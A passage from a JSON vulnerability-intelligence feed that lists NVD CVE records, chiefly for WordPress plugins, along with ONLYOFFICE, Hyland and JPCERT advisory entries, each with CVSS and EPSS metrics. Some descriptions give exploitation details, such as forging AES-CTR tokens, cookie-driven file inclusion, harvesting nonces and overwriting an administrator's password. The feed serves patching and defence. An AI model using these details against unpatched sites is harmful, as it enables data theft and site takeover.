2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103422&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103422, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102251","cveId":"CVE-2026-102251","aliases":[],"kind":"vulnerability","title":"The Abandoned Cart Pro for WooCommerce plugin for WordPress is vulnerable to generic SQL Injection via the 'validate' parameter in all versions up to, and including, 10.8.0 due to...","summary":"The Abandoned Cart Pro for WooCommerce plugin for WordPress is vulnerable to generic SQL Injection via the 'validate' parameter in all versions up to, and including, 10.8.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. AES-CTR is a malleable stream cipher, so an attacker who obtains one legitimate token by abandoning a cart with an email address they control can recover the keystream and forge a ciphertext carrying arbitrary SQL. The HMAC check added in 10.4.1 is enforced only when the wcap_nonce parameter is present, so omitting the parameter skips it entirely.","detail":"The Abandoned Cart Pro for WooCommerce plugin for WordPress is vulnerable to generic SQL Injection via the 'validate' parameter in all versions up to, and including, 10.8.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. AES-CTR is a malleable stream cipher, so an attacker who obtains one legitimate token by abandoning a cart with an email address they control can recover the keystream and forge a ciphertext carrying arbitrary SQL. The HMAC check added in 10.4.1 is enforced only when the wcap_nonce parameter is present, so omitting the parameter skips it entirely.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T03:17:12.513Z","updatedAt":"2026-10-15T17:17:08.690Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102251","asOf":"2026-10-15T17:17:08.690Z"},"epss":{"probability":0.00379,"percentile":0.31569,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102251&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102251","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102251","type":"primary","publishedAt":"2026-10-14T03:17:12.513Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102251&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102251, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"jpcert-at260031-7ae47971411b","cveId":null,"aliases":[],"kind":"advisory","title":"Security alert: Microsoft security updates for October 2026 (published)","summary":"Security alert: Microsoft security updates for October 2026 (published). Original Japanese title: 注意喚起: 2026年10月マイクロソフトセキュリティ更新プログラムに関する注意喚起 (公開)","detail":"The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.","action":"Consult the linked JPCERT/CC advisory for affected versions and the recommended action.","publishedAt":"2026-10-14T02:25:00.000Z","updatedAt":null,"regions":["Japan"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"JPCERT/CC Japan Advisories: Security alert: Microsoft security updates for October 2026 (published)","url":"https://www.jpcert.or.jp/at/2026/at260031.html","type":"primary","publishedAt":"2026-10-14T02:25:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-82715","cveId":"CVE-2026-82715","aliases":[],"kind":"vulnerability","title":"Insecure Temporary File vulnerability in Hitachi Disk Array Driver for AIX and Hitachi Disk Array Driver for Virtual I/O Server.","summary":"Insecure Temporary File vulnerability in Hitachi Disk Array Driver for AIX and Hitachi Disk Array Driver for Virtual I/O Server.\n\nThis issue affects Hitachi Disk Array Driver for AIX: from 01-00 before 01-23-/A; Hitachi Disk Array Driver for Virtual I/O Server: from 01-04 before 01-23-/A.","detail":"Insecure Temporary File vulnerability in Hitachi Disk Array Driver for AIX and Hitachi Disk Array Driver for Virtual I/O Server.\n\nThis issue affects Hitachi Disk Array Driver for AIX: from 01-00 before 01-23-/A; Hitachi Disk Array Driver for Virtual I/O Server: from 01-04 before 01-23-/A.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T02:17:00.863Z","updatedAt":"2026-10-18T14:16:56.663Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.9,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-82715","asOf":"2026-10-18T14:16:56.663Z"},"epss":{"probability":0.00124,"percentile":0.02156,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-82715&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-82715","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-82715","type":"primary","publishedAt":"2026-10-14T02:17:00.863Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-82715&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-82715, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-17092","cveId":"CVE-2026-17092","aliases":[],"kind":"vulnerability","title":"The Directorist: AI-Powered Business Directory, Listings & Classified Ads plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 8.10.2.1.","summary":"The Directorist: AI-Powered Business Directory, Listings & Classified Ads plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 8.10.2.1. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary business directory listings, including those owned by other users and posts in publish, draft, or private status. The nonces guarding the endpoint do not constitute an authorization barrier because both directorist_nonce and atbdp_nonce_js are exposed to all logged-in users via wp_localize_script.","detail":"The Directorist: AI-Powered Business Directory, Listings & Classified Ads plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 8.10.2.1. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary business directory listings, including those owned by other users and posts in publish, draft, or private status. The nonces guarding the endpoint do not constitute an authorization barrier because both directorist_nonce and atbdp_nonce_js are exposed to all logged-in users via wp_localize_script.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T02:16:59.783Z","updatedAt":"2026-10-14T18:17:36.793Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-17092","asOf":"2026-10-14T18:17:36.793Z"},"epss":{"probability":0.00524,"percentile":0.44157,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-17092&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-17092","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-17092","type":"primary","publishedAt":"2026-10-14T02:16:59.783Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-17092&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-17092, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104995","cveId":"CVE-2026-104995","aliases":[],"kind":"vulnerability","title":"The BP Profile Search plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 5.9 via the 'ajax_template' value parsed from the...","summary":"The BP Profile Search plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 5.9 via the 'ajax_template' value parsed from the client-controlled 'bps_directory' cookie during BuddyPress AJAX directory requests. The bps_directory_ajax() filter (hooked onto bp_legacy_object_template_path and bp_nouveau_object_template_path) reads the cookie, applies only a referer-derived 'page' comparison in bps_get_directory_data() (where bps_current_page() uses HTTP_REFERER during AJAX and is therefore also attacker-controlled), and then suffixes the attacker-controlled template value with '.php' and passes it to bp_locate_template() with no basename restriction, no whitelist, and no path-traversal check. This makes it possible for unauthenticated attackers to include arbitrary PHP files on the server, which can lead to remote code execution when PHP files can be uploaded or when images such as the default wordpress:php8.","detail":"The BP Profile Search plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 5.9 via the 'ajax_template' value parsed from the client-controlled 'bps_directory' cookie during BuddyPress AJAX directory requests. The bps_directory_ajax() filter (hooked onto bp_legacy_object_template_path and bp_nouveau_object_template_path) reads the cookie, applies only a referer-derived 'page' comparison in bps_get_directory_data() (where bps_current_page() uses HTTP_REFERER during AJAX and is therefore also attacker-controlled), and then suffixes the attacker-controlled template value with '.php' and passes it to bp_locate_template() with no basename restriction, no whitelist, and no path-traversal check. This makes it possible for unauthenticated attackers to include arbitrary PHP files on the server, which can lead to remote code execution when PHP files can be uploaded or when images such as the default wordpress:php8.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T02:16:56.500Z","updatedAt":"2026-10-14T19:17:08.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104995","asOf":"2026-10-14T19:17:08.627Z"},"epss":{"probability":0.00853,"percentile":0.57995,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104995&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104995","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104995","type":"primary","publishedAt":"2026-10-14T02:16:56.500Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104995&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104995, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104767","cveId":"CVE-2026-104767","aliases":[],"kind":"vulnerability","title":"The Membership & User Roles for WooCommerce (Automatic Role Changer) plugin for WordPress is vulnerable to Privilege Escalation in versions up to, and including, 20260828.","summary":"The Membership & User Roles for WooCommerce (Automatic Role Changer) plugin for WordPress is vulnerable to Privilege Escalation in versions up to, and including, 20260828. This is due to the `maybe_add_role_to_user()` function unconditionally re-assigning every role stored in the `dfxwcrc_foreign_roles` user meta cache without verifying that each cached role is still actively assigned by the external provider — a condition made permanent by `remember_foreign_roles()`, which merges new foreign roles into the cache but never evicts roles that have since been revoked. This makes it possible for authenticated attackers with subscriber-level access and above to restore a previously revoked Administrator role to their own account, gaining full administrative control of the site, by triggering any role-assignment event such as completing a purchase for a role-mapped product. Exploitation requires Replace Roles mode to be enabled and the attacker's account to have previously received Administrator legitimately through a separate role-management mechanism while the plugin was active, so that `administrator` was written into the `dfxwcrc_foreign_roles` user meta cache before the external provider revoked it.","detail":"The Membership & User Roles for WooCommerce (Automatic Role Changer) plugin for WordPress is vulnerable to Privilege Escalation in versions up to, and including, 20260828. This is due to the `maybe_add_role_to_user()` function unconditionally re-assigning every role stored in the `dfxwcrc_foreign_roles` user meta cache without verifying that each cached role is still actively assigned by the external provider — a condition made permanent by `remember_foreign_roles()`, which merges new foreign roles into the cache but never evicts roles that have since been revoked. This makes it possible for authenticated attackers with subscriber-level access and above to restore a previously revoked Administrator role to their own account, gaining full administrative control of the site, by triggering any role-assignment event such as completing a purchase for a role-mapped product. Exploitation requires Replace Roles mode to be enabled and the attacker's account to have previously received Administrator legitimately through a separate role-management mechanism while the plugin was active, so that `administrator` was written into the `dfxwcrc_foreign_roles` user meta cache before the external provider revoked it.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T02:16:56.360Z","updatedAt":"2026-10-15T17:17:11.797Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104767","asOf":"2026-10-15T17:17:11.797Z"},"epss":{"probability":0.00335,"percentile":0.26671,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104767&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104767","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104767","type":"primary","publishedAt":"2026-10-14T02:16:56.360Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104767&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104767, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104749","cveId":"CVE-2026-104749","aliases":[],"kind":"vulnerability","title":"The Bit integrations – Form Integration, Webhook, Spreadsheets, CRM, LMS & Email Automation plugin for WordPress is vulnerable to Privilege Escalation via Log Re-execution in all...","summary":"The Bit integrations – Form Integration, Webhook, Spreadsheets, CRM, LMS & Email Automation plugin for WordPress is vulnerable to Privilege Escalation via Log Re-execution in all versions up to, and including, 2.10.6 The vulnerability exists because `IntegrationHandler::executeWithCapture()` stores raw, attacker-controlled field values — including `user_pass` and `user_email` — verbatim into `wp_btcbi_log.field_data` on anonymous front-end requests with no capability check, and `LogHandler::reexecute()` feeds that stored payload back through `Flow::execute()` inside the replaying administrator's session without validating the identity that originally produced the data, causing `RegistrationController::updateUser()` to resolve the target user ID to the administrator and write the attacker-supplied password via `wp_update_user()`. This makes it possible for unauthenticated attackers to overwrite the administrator's password and fully take over the administrator account. Exploitation requires that an administrator has configured a flow mapping a user-supplied form field to the `user_pass` parameter of the WP User Registration \"Update User\" action, and that the administrator subsequently clicks \"Re-execute\" on the failure log row produced by the anonymous submission from the plugin's log screen.","detail":"The Bit integrations – Form Integration, Webhook, Spreadsheets, CRM, LMS & Email Automation plugin for WordPress is vulnerable to Privilege Escalation via Log Re-execution in all versions up to, and including, 2.10.6 The vulnerability exists because `IntegrationHandler::executeWithCapture()` stores raw, attacker-controlled field values — including `user_pass` and `user_email` — verbatim into `wp_btcbi_log.field_data` on anonymous front-end requests with no capability check, and `LogHandler::reexecute()` feeds that stored payload back through `Flow::execute()` inside the replaying administrator's session without validating the identity that originally produced the data, causing `RegistrationController::updateUser()` to resolve the target user ID to the administrator and write the attacker-supplied password via `wp_update_user()`. This makes it possible for unauthenticated attackers to overwrite the administrator's password and fully take over the administrator account. Exploitation requires that an administrator has configured a flow mapping a user-supplied form field to the `user_pass` parameter of the WP User Registration \"Update User\" action, and that the administrator subsequently clicks \"Re-execute\" on the failure log row produced by the anonymous submission from the plugin's log screen.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T02:16:56.223Z","updatedAt":"2026-10-14T18:17:21.687Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104749","asOf":"2026-10-14T18:17:21.687Z"},"epss":{"probability":0.0054,"percentile":0.45176,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104749&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104749","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104749","type":"primary","publishedAt":"2026-10-14T02:16:56.223Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104749&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104749, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103423","cveId":"CVE-2026-103423","aliases":[],"kind":"vulnerability","title":"The Booking Package plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.7.29 This is due to the plugin not properly verifying that a...","summary":"The Booking Package plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.7.29 This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to retrieve personally identifiable information for every booked customer stored in the booking_package_booked_customers table, including names, email addresses, phone numbers, physical addresses, and cancellation tokens. The nonce nominally protecting the endpoint is a public CSRF token emitted in the localized booking_package JavaScript object on any page rendering the [booking_package] shortcode or widget, making it trivially harvestable by unauthenticated visitors and providing no effective authentication barrier.","detail":"The Booking Package plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.7.29 This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to retrieve personally identifiable information for every booked customer stored in the booking_package_booked_customers table, including names, email addresses, phone numbers, physical addresses, and cancellation tokens. The nonce nominally protecting the endpoint is a public CSRF token emitted in the localized booking_package JavaScript object on any page rendering the [booking_package] shortcode or widget, making it trivially harvestable by unauthenticated visitors and providing no effective authentication barrier.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T02:16:54.710Z","updatedAt":"2026-10-14T19:17:06.730Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103423","asOf":"2026-10-14T19:17:06.730Z"},"epss":{"probability":0.0053,"percentile":0.4454,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103423&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103423","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103423","type":"primary","publishedAt":"2026-10-14T02:16:54.710Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103423&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103423, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110385","cveId":"CVE-2026-110385","aliases":[],"kind":"vulnerability","title":"A remote code execution vulnerability in ONLYOFFICE Document Server versions before10.0.0 allows an authenticated attacker with a valid Inbox-compatible JWT to execute arbitrary...","summary":"A remote code execution vulnerability in ONLYOFFICE Document Server versions before10.0.0 allows an authenticated attacker with a valid Inbox-compatible JWT to execute arbitrary operating system commands as the ds service account. The Document Builder API improperly processes user-controlled converter XML supplied through the optional third argument of builder.SaveFile(). By injecting a duplicate m_sFileTo element, an attacker can override the server-generated output path and write arbitrary content outside the designated job directory. This allows the attacker to overwrite the runtime.json configuration file, modify the Document Builder executable path and arguments, and execute arbitrary commands when a subsequent Document Builder job is processed.","detail":"A remote code execution vulnerability in ONLYOFFICE Document Server versions before10.0.0 allows an authenticated attacker with a valid Inbox-compatible JWT to execute arbitrary operating system commands as the ds service account. The Document Builder API improperly processes user-controlled converter XML supplied through the optional third argument of builder.SaveFile(). By injecting a duplicate m_sFileTo element, an attacker can override the server-generated output path and write arbitrary content outside the designated job directory. This allows the attacker to overwrite the runtime.json configuration file, modify the Document Builder executable path and arguments, and execute arbitrary commands when a subsequent Document Builder job is processed.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T01:17:06.337Z","updatedAt":"2026-10-16T19:55:59.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110385","asOf":"2026-10-16T19:55:59.740Z"},"epss":{"probability":0.01042,"percentile":0.63841,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110385&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110385","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110385","type":"primary","publishedAt":"2026-10-14T01:17:06.337Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110385&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110385, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110359","cveId":"CVE-2026-110359","aliases":[],"kind":"vulnerability","title":"Hyland Desktop Host for Windows before 25.1.1 is vulnerable to local privilege escalation.","summary":"Hyland Desktop Host for Windows before 25.1.1 is vulnerable to local privilege escalation. This is caused by a privileged service running from the %PROGRAMDATA%\\Hyland\\DesktopHost\\bin folder with weak permissions. A local user can exploit this to escalate privileges.","detail":"Hyland Desktop Host for Windows before 25.1.1 is vulnerable to local privilege escalation. This is caused by a privileged service running from the %PROGRAMDATA%\\Hyland\\DesktopHost\\bin folder with weak permissions. A local user can exploit this to escalate privileges.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 